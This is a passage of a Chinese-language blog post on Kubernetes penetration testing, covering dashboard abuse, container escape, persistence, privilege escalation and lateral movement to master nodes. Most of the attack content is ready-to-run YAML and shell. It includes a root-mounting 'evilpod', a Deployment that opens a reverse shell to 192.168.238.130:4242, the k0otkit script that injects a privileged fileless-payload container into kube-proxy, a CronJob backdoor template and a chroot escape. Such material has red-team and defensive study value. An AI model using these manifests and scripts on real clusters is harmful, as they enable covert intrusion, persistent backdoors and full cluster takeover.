- --enable-skip-login

image-20230303140921543

点击Skip进入dashboard实际上使用的是Kubernetes-dashboard这个ServiceAccount,如果此时该ServiceAccount没有配置特殊的权限,是默认没有办法达到控制集群任意功能的程度的。

image-20230303140941299

给Kubernetes-dashboard绑定cluster-admin:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: dashboard-1
subjects:
- kind: ServiceAccount
  name: k8s-dashboard-kubernetes-dashboard
  namespace: kube-system
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

image-20230303140957767

绑定完成后,再次刷新 dashboard 的界面,就可以看到整个集群的资源情况。

image-20230303141013715

获取访问后直接创建特权容器即可getshell

0x02 执行

目录挂载逃逸

这个技术是综合了执行、持久化、权限提升的一个攻击方法,为了省事,就放在这里一块说了。

首先,在我们获取了api server控制权后,我们可以创建Pod,并在Pod内部执行命令。如果我们在创建Pod时,将Node节点的根目录挂载到Pod的某个目录下,由于我们能在Pod内部执行命令,所以我们可以修改挂载到Pod下的Node节点根目录中文件的内容,如果我们写入恶意crontab、web shell、ssh公钥,便可以从Pod逃逸到宿主机Node,获取Node控制权。

具体复现如下

先创建一个恶意Pod

首先我们创建恶意Pod,可以直接创建Pod,也可以用Deployment创建。

既然提到创建Pod,那么就多提一句:直接创建Pod和用Deployment创建Pod的区别是什么?
Deployment可以更方便的设置Pod的数量,方便Pod水平扩展。
Deployment拥有更加灵活强大的升级、回滚功能,并且支持滚动更新。
使用Deployment升级Pod只需要定义Pod的最终状态,k8s会为你执行必要的操作。

如果创建一个小玩意,那么直接创建Pod就行了,没必要用deployment。
用Pod创建
apiVersion:v1
kind:Pod
metadate:
	name:evilpod
spec:
	containers:
	- image:nginx
	  name:container
	  volumeMounts:
	  - mountPath:/mnt
	    name:test-volume
	volumes:
	- name: test-volume
	  hostPath:
	  	path:/
用deployment创建
apiVersion: apps/v1
kind:Deployment
metadata:
	name:nginx-deployment
	labels:
		apps:nginx-test
spec:
	replicas:1
	selector:
		matchLabels:
			app:nginx
	template:
		metadata:
			labels:
				app:nginx
		spec:
			containers:
			- image:nginx
			  name:container
			  volumeMounts:
			  - mountPath : /mnt
			    name: test-volume
			volumes:
			- name: test-volume
			  hostPath:
			  	path: /

将以上文本写入到一个yaml文件中,然后执行

kubectl apply -f xxxxx.yaml
如果是api server未授权打进去的,可能要通过-s参数设置一下api server的ip和地址:
kubectl -s http://master_ip:8080 command

这里再多嘴一句 kubectl apply 和 kubectl create 这两个命令的区别:
两个命令都可以用于创建pod,apply更倾向于”维护资源“,可以用于更新已有Pod;而create更倾向于”直接创建“,不管三七二十一给我创建就完事了简而言之,当一个资源已经存在时,用create会报错,而apply不会报错

恶意容器就创建好了

创建好了后使用命令 kubectl get pods 获取恶意pod的名字

然后使用命令 kubectl exec -it evilpodname /bin/bash 进入pod内部shell,然后向挂载到Pod内部的Node根目录中写入恶意crontab/ssh公钥/webshell即可拿到node的shell。

大致流程一张图表示如下

image-20220311115835649

利用Service Account连接API Server执行指令

k8s有两种账户:用户账户和服务账户,用户账户被用于人与集群交互(如管理员管理集群),服务账户用于Pod与集群交互(如Pod调用api server提供的一些API进行一些活动)

如果我们入侵了一台有着高权限服务账户的Pod,我们就可以用它对应的服务账户身份调用api server向集群下达命令。

pod的serviceaccount信息一般存放于/var/run/secrets/kubernetes.io/serviceaccount/目录下

但是默认的user或者service account并不具备任何权限

这是默认情况下,一个pod使用自身service account(默认为当前命名空间的default账户)去请求api server返回的结果,可以发现是没有权限的:

$ CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
$ NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
$ curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" 
"https://192.168.111.20:6443/version/"

  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {}, 
  "status": "Failure",  
  "message": "version is forbidden: User 
  \"system:serviceaccount:default:default\" cannot list resource \"version\" in API group \"\" at the cluster scope",
  "reason": "Forbidden",
  "details": {
  	 "kind": "version"
   },
  "code": 403

那么我现在创建一个高权限service account 并使其与一个Pod相关联,来复现一下这个攻击手法

首先创建一个高权限service account

kubectl create serviceaccount niubi #创建service account:niubikubectl create clusterrolebinding cluster-admin-niubi  --clusterrole=cluster-admin --serviceaccount=default:niubi #把niubi放入集群管理员组,相当于给了它高权限

然后将service account与pod相关联

在创建Pod的yaml文件中的spec项中输入 serviceAccountName: niubi

image-20220311115857358

再试一下,发现可以调用api server了

image-20220311115913661

0x03 持久化

这里的持久化是指如何在Pod中持久化、如何在Node中持久化、如何在集群中持久化。
如何在Node中持久化,在上一小节中已经提到过一些:通过写入crontab,ssh公钥,webshell实现,但个人觉得这几个手段与其说是持久化,不如说是权限提升更符合实际一点,因为这几个手段在实际渗透中都是为了从Pod逃逸出来获取Node权限。

同时,在Pod,Node,Master上做持久化,有大部分方法本质上是“如何在linux机器上做持久化”,而“如何在linux机器上做持久化”方法就太多了,这里就只着重于讲述在“云环境”里独有的持久化方法。

在私有镜像库中植入后门(Pod持久化)

如果接管了对方的私有镜像库,我们便可以直接在其对象Dockerfile中塞入恶意指令(反弹shell等)
或者编辑镜像的文件层代码,将镜像中原始的可执行文件或链接库文件替换为精心构造的后门文件之后再次打包成新的镜像。

修改核心组件访问权限(集群持久化)

包括且不限于 更改配置暴露apiserver 8080端口、暴露docker.sock、暴露未授权etcd、暴露未授权kubelet等修改集群配置文件达到持久化的方法。

shadow api server(集群持久化/cdk工具利用)

部署一个额外的未授权且不记录日志的api server以供我们进行持久化。

我们可以用github上专门用于k8s渗透的工具cdk(这个工具很屌)来做到这一点

https://github.com/cdk-team/CDK/wiki/CDK-Home-CN

https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver

Deployment

创建容器时,通过启用 DaemonSetsDeployments,可以使容器和子容器即使被清理掉了也可以恢复,攻击者经常利用这个特性进行持久化,涉及的概念有:

● ReplicationController(RC)

ReplicationController 确保在任何时候都有特定数量的 Pod 副本处于运行状态。

● Replication Set(RS)

Replication Set简称RS,官方已经推荐我们使用 RSDeployment 来代替 RC 了,实际上 RSRC 的功能基本一致,目前唯一的一个区别就是RC 只支持基于等式的 selector

● Deployment

主要职责和 RC 一样,的都是保证 Pod 的数量和健康,二者大部分功能都是完全一致的,可以看成是一个升级版的 RC 控制器。官方组件 kube-dnskube-proxy 也都是使用的Deployment来管理。

这里使用Deployment来部署后门

#dep.yaml
apiVersion: apps/v1
kind: Deployment  #确保在任何时候都有特定数量的Pod副本处于运行状态
metadata:
  name: nginx-deploy
  labels:
    k8s-app: nginx-demo
spec:
  replicas: 3  #指定Pod副本数量
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: nginx
        image: nginx:1.7.9
        imagePullPolicy: IfNotPresent
        command: ["bash"] #反弹Shell
        args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
        securityContext:
          privileged: true #特权模式
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory

#创建
kubectl create -f dep.yaml

Rootkit

这里介绍一个 k8srootkitk0otkit 是一种通用的后渗透技术,可用于对 Kubernetes 集群的渗透。使用 k0otkit,您可以以快速、隐蔽和连续的方式(反向 shell)操作目标 Kubernetes 集群中的所有节点。

K0otkit使用到的技术:

DaemonSetSecret资源(快速持续反弹、资源分离)

kube-proxy镜像(就地取材)

● 动态容器注入(高隐蔽性)

Meterpreter(流量加密)

● 无文件攻击(高隐蔽性)

#生成k0otkit
./pre_exp.sh

#监听
./handle_multi_reverse_shell.sh

k0otkit.sh的内容复制到master执行:

volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace: kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......

# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/,; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
  | kubectl --kubeconfig /root/.kube/config replace -f -

cronjob持久化

CronJob用于执行周期性的动作,例如备份、报告生成等,攻击者可以利用此功能持久化。

apiVersion: batch/v1
kind: CronJob  #使用CronJob对象
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *" #每分钟执行一次
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: busybox
            imagePullPolicy: IfNotPresent
            command:
            - /bin/sh
            - -c
            - #反弹Shell或者木马
          restartPolicy: OnFailure

0x04 权限提升

指从pod拿到Node的shell,或者拿到集群控制权。

上面的小节提到过一些,比如kubectl未授权、docker.sock、挂载目录、高权限Service account等方法。

除此之外还有Docker、k8s的一些CVE

Docker逃逸如CVE-2019-5736,CVE-2019-14271,CVE-2020-15257、CVE-2022-0811

k8s提权到接管集群的如CVE-2018-1002105,CVE-2020-8558

docker逃逸可以看之前总结的容器逃逸相关文章,这里说一下特权容器逃逸

特权容器逃逸

当容器启动加上--privileged选项时,容器可以访问宿主机上所有设备。

而K8s配置文件启用了privileged: true:

spec:
containers:
- name: ubuntu
image: ubuntu:latest
securityContext:
privileged: true

实战案例:

通过漏洞获取WebShell,查看根目录存在.dockerenv,可通过fdisk -l查看磁盘目录,进行挂载目录逃逸:

#Webshell下操作
fdisk -l
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash

图片

0x05 探测

● 内网扫描

● K8s常用端口探测

● 集群内部网络

是否在容器环境中

  • 根目录下/.dockerenv 文件存在即docker环境
  • /proc/1/cgroup 内若包含docker或kube字符串则是在docker环境或k8s pod 之中

image-20220311115944024

  • 没有常见命令

  • 查看环境变量中是否有k8s或者docker字符串

  • 查看端口开放情况(netstat -anp),如果开放了一些特殊端口如6443、8080(api server),2379(etcd),10250、10255(kubelet),10256(kube-proxy) 那么可以初步判定为是在k8s环境中的一台Node或者master,这个方法亦可用于端口扫描探测目标主机是否为k8s集群中的机器
  • 查看当前网段,k8s中 Flannel网络插件默认使用10.244.0.0/16网络,Calico默认使用192.168.0.0/16网络,如果出现在这些网段中(特别是10.244网段)那么可以初步判断为集群中的一个pod。pod里面命令很少,可以通过hostname -I(大写i)来查看ip地址

集群内网扫描

Kubernetes的网络中存在4种主要类型的通信

● 同一Pod内的容器间通信

● 各Pod彼此间通信

PodService间的通信

● 集群外部的流量与Service间的通信。

所以和常规内网渗透无区别,nmapmasscan等扫描

K8s常用端口探测

图片

集群内部网络

Flannel网络插件默认使用10.244.0.0/16网络

Calico默认使用192.168.0.0/16网络

0x06 横向移动

目的

通常来说,拿到kubeconfig或者能访问apiserver的ServiceAccount token,就代表着控下了整个集群。

但往往在红队攻击中,我们常常要拿到某一类特定重要系统的服务器权限来得分。前面我们已经可以在节点上通过创建pod来逃逸,从而获得节点对应主机的权限,那么我们是否能控制pod在指定节点上生成,逃逸某个指定的Node或Master节点。

亲和性与反亲和性

一般来说我们部署的Pod是通过集群的自动调度策略来选择节点的,但是因为一些实际业务的需求可能需要控制某些pod调度到特定的节点。就需要用到 Kubernetes 里面的一个概念:亲和性和反亲和性。

亲和性又分成节点亲和性( nodeAffinity )和 Pod 亲和性( podAffinity )。

  • 节点亲和性通俗些描述就是用来控制 Pod 要部署在哪些节点上,以及不能部署在哪些节点上的
  • pod亲和性和反亲和性表示pod部署到或不部署到满足某些label的pod所在的node上
节点亲和性( nodeAffinity )

节点亲和性主要是用来控制 pod 要部署在哪些主机上,以及不能部署在哪些主机上的,演示一下:

查看node的label命令

kubectl get nodes --show-labels

给节点打上label标签

kubectl label nodes k8s-node01 com=justtest
node/k8s-node01 labeled

当node 被打上了相关标签后,在调度的时候就可以使用这些标签了,只需要在 Pod 的spec字段中添加 nodeSelector 字段

apiVersion: v1
kind: Pod
metadata:
  name: node-scheduler
spec:
  nodeSelector:
    com: justtest
Pod 亲和性( podAffinity )

pod 亲和性主要处理的是 pod 与 pod 之间的关系,比如一个 pod 在一个节点上了,那么另一个也得在这个节点,或者你这个 pod 在节点上了,那么我就不想和你待在同一个节点上。

污点与容忍度

节点亲和性是 Pod的一种属性,它使 Pod 被吸引到一类特定的节点。 污点(Taint)则相反——它使节点能够排斥一类特定的 Pod。

污点标记选项:

  • NoSchedule,表示pod 不会被调度到标记为 taints 的节点
  • PreferNoSchedule,NoSchedule 的软策略版本,表示尽量不调度到污点节点上去
  • NoExecute :该选项意味着一旦 Taint 生效,如该节点内正在运行的pod 没有对应 Tolerate 设置,会直接被逐出

我们使用kubeadm搭建的集群默认就给 master 节点(主节点)添加了一个污点标记,所以我们看到我们平时的 pod 都没有被调度到master 上去。除非有Pod能容忍这个污点。而通常容忍这个污点的 Pod都是系统级别的Pod,例如kube-system

image-20230303155327915

image-20230303155834220

给指定节点标记污点 taint :

kubectl taint nodes k8s-node01 test=k8s-node01:NoSchedule

image-20230303155346507

上面将 k8s-node01 节点标记为了污点,影响策略是 NoSchedule,只会影响新的 pod 调度。

由于 node01节点被标记为了污点节点,所以我们这里要想 pod 能够调度到 node01节点去,就需要增加容忍的声明

image-20230303155415291

使用污点和容忍度能够使Pod灵活的避开某些节点或者将某些Pod从节点上驱逐。

详细概念可以参考官网文档:污点和容忍度 | Kubernetes

实现master节点逃逸

比如要想获取到master节点的shell,则可以从这两点考虑

  • 去掉“污点”(taints)(生产环境不推荐)
  • 让pod能够容忍(tolerations)该节点上的“污点”。

查看k8s-master的节点情况,确认Master节点的容忍度:

image-20230303161208972

创建带有容忍参数并且挂载宿主机根目录的Pod

apiVersion: v1
kind: Pod
metadata:
  name: myapp2
spec:
  containers:
  - image: nginx
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  tolerations:
  - key: node-role.kubernetes.io/master
    operator: Exists
    effect: NoSchedule
  volumes:
  - name: test-volume
    hostPath:
      path: /
kubectl -s 192.168.11.152:8080 create -f test.yaml --validate=false
kubectl -s 192.168.11.152:8080 --namespace=default exec -it test-master bash

image-20230303161357729

image-20230303161419711

之后按照上面逃逸node01节点的方式写入ssh公钥即可getshell。

image-20230303161439735

四、后渗透&集群持久化

https://mp.weixin.qq.com/s/qYlAYM2jbdPtdXCi0oFagA

五、参考

https://www.const27.com/2022/03/13/k8s安全 入门学习/ (k8s基础、攻击矩阵)

https://paper.seebug.org/1803/(k8s攻击矩阵)

https://xz.aliyun.com/t/11316 (K8S云原生环境渗透学习)

https://mp.weixin.qq.com/s/qYlAYM2jbdPtdXCi0oFagA (K8S后渗透横向节点与持久化隐蔽方式探索)

https://mp.weixin.qq.com/s/emej9iAFTgr14Y_Q3-aYNA

https://kuboard.cn/learning/(非常好的中文教程)

https://kubernetes.io/zh/docs/tutorials/kubernetes-basics/(k8s官方教程,有交互式操作界面,稍微有点不好的是有些地方没有中文)

posted @ 2023-03-21 10:37  yokan  阅读(1005)  评论(0编辑  收藏  举报